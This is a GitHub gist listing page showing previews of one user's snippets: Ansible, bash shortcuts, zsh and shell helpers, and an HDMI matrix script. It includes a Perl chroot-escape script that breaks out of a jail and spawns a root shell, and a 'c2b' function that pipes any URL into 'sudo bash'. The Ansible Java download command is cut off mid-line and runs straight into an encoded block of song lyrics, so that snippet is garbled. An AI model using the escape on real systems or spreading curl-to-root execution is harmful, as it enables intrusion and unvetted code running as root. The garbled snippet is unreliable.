Skip to content

Instantly share code, notes, and snippets.

@rothgar
rothgar / main.yml
Last active August 29, 2015 13:56
Download Java with Ansible
# from vars file
java_version: '7u51'
java_build: 'b13'
jdk_or_jre: jre
openjdk: False
# tasks/main.yml
- name: Download Java
shell: 'wget --no-cookies --no-check-certificate --header "Cookie: gpw_e24=http%3A%2F%2Fwww.oracle.com"
sed "`sed 's#.#s/&/#;s#$#/g;#'<<Q
LMWe'veKn each o!r for-o longPr hearHzchJbutP're2o-hy2-@Insidexe bothKxhaHCJonMWeK ! game+we'reZpl@
TMI justxanna _UFGotta QuXerstaXR
RM~Squp~letqdown~runzrouX+desertU~Qcry~sayCodbye~_z lie+hurtU
E(Ooh)~S, neverZSM(GV
F how=feelingM
Ht's been
%(Ooh, gV
Vivequp)M
~MNeverZ
### Keybase proof
I hereby claim:
* I am rothgar on github.
* I am rothgar (https://keybase.io/rothgar) on keybase.
* I have a public key whose fingerprint is A44C E232 2034 EF4B 54DC 07F9 7388 8805 6A74 8C68
To claim this, I am signing this object:
@rothgar
rothgar / bash_kb_shortcuts.md
Last active August 29, 2015 14:06
Helpful bash/emacs keyboard shortcuts
Shortcut Action
Ctrl + a Move cursor to beginning of line
Ctrl + e Move cursor to end of line
Ctrl + u Delete characters on line before cursor
Ctrl + k Delete characters on line after cursor
Ctrl + w Delete word in front of cursor
Alt + d Delete word after cursor
Alt + f Move cursor forward one word
Alt + b Move cursor back one word
@rothgar
rothgar / get-gists.py
Created September 28, 2014 21:54
Python unicode attribute error
If I curl for a github gist I get
$ curl https://api.github.com/gists/cecfbd74597cc35a6018
{
"url": "https://api.github.com/gists/cecfbd74597cc35a6018",
"forks_url": "https://api.github.com/gists/cecfbd74597cc35a6018/forks",
"commits_url": "https://api.github.com/gists/cecfbd74597cc35a6018/commits",
"id": "cecfbd74597cc35a6018",
"git_pull_url": "https://gist.github.com/cecfbd74597cc35a6018.git",
@rothgar
rothgar / esc_chroot.pl
Created January 12, 2015 18:18
Escape chroot
!#/usr/bin/perl -w
chdir "/"; opendir JAILROOT, ",";
mkdir "subdir"; chdir "subdir";
chroot "."; chdir(*JAILROOT);
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) }
chdir "..";
}
chroot ".";
system("/bin/sh");
@rothgar
rothgar / gsettings
Created January 14, 2015 00:37
gnome 3 gconf settings
# disable terminal scrollbar
gsettings set org.gnome.Terminal.Legacy.Profile:/org/gnome/terminal/legacy/profiles/:$(gsettings get org.gnome.Terminal.ProfilesList default)/ scrollbar-policy never
@rothgar
rothgar / bitch.zsh
Last active August 29, 2015 14:14
bitch
# create bitch function
bitch() {
if [[ "${BUFFER}" == *" bitch" ]] && [[ "${BUFFER}" != su(do|)\ * ]]; then
# add sudo to beginning of line (remove bitch from end)
BUFFER="sudo ${BUFFER% bitch}"
elif [[ "${BUFFER}" == "bitch" ]]; then
LAST_CMD=$(fc -l -1)
BUFFER="sudo ${LAST_CMD#* }"
fi
# still need to run accept-line widget
@rothgar
rothgar / c2b.sh
Created June 3, 2015 15:37
curl2bash
# Curl to bash
# c2b http://random/script/you/shouldn't/trust.sh
c2b() {
curl -L ${1} | sudo bash
}
@rothgar
rothgar / set-matrix.sh
Last active August 29, 2015 14:27
set hdmi matrix output
#!/bin/bash
# Set matrix spliter display
# Designed for Monoprice 4x4 Matrix Switch
# http://www.monoprice.com/Product?p_id=5704
declare -A INPUT_HASH
declare -A OUTPUT_HASH
CHECKSUM='\xd5\x7b'
if [[ $# -eq 0 ]] && [ -z $MATRIX_CONFIG ]; then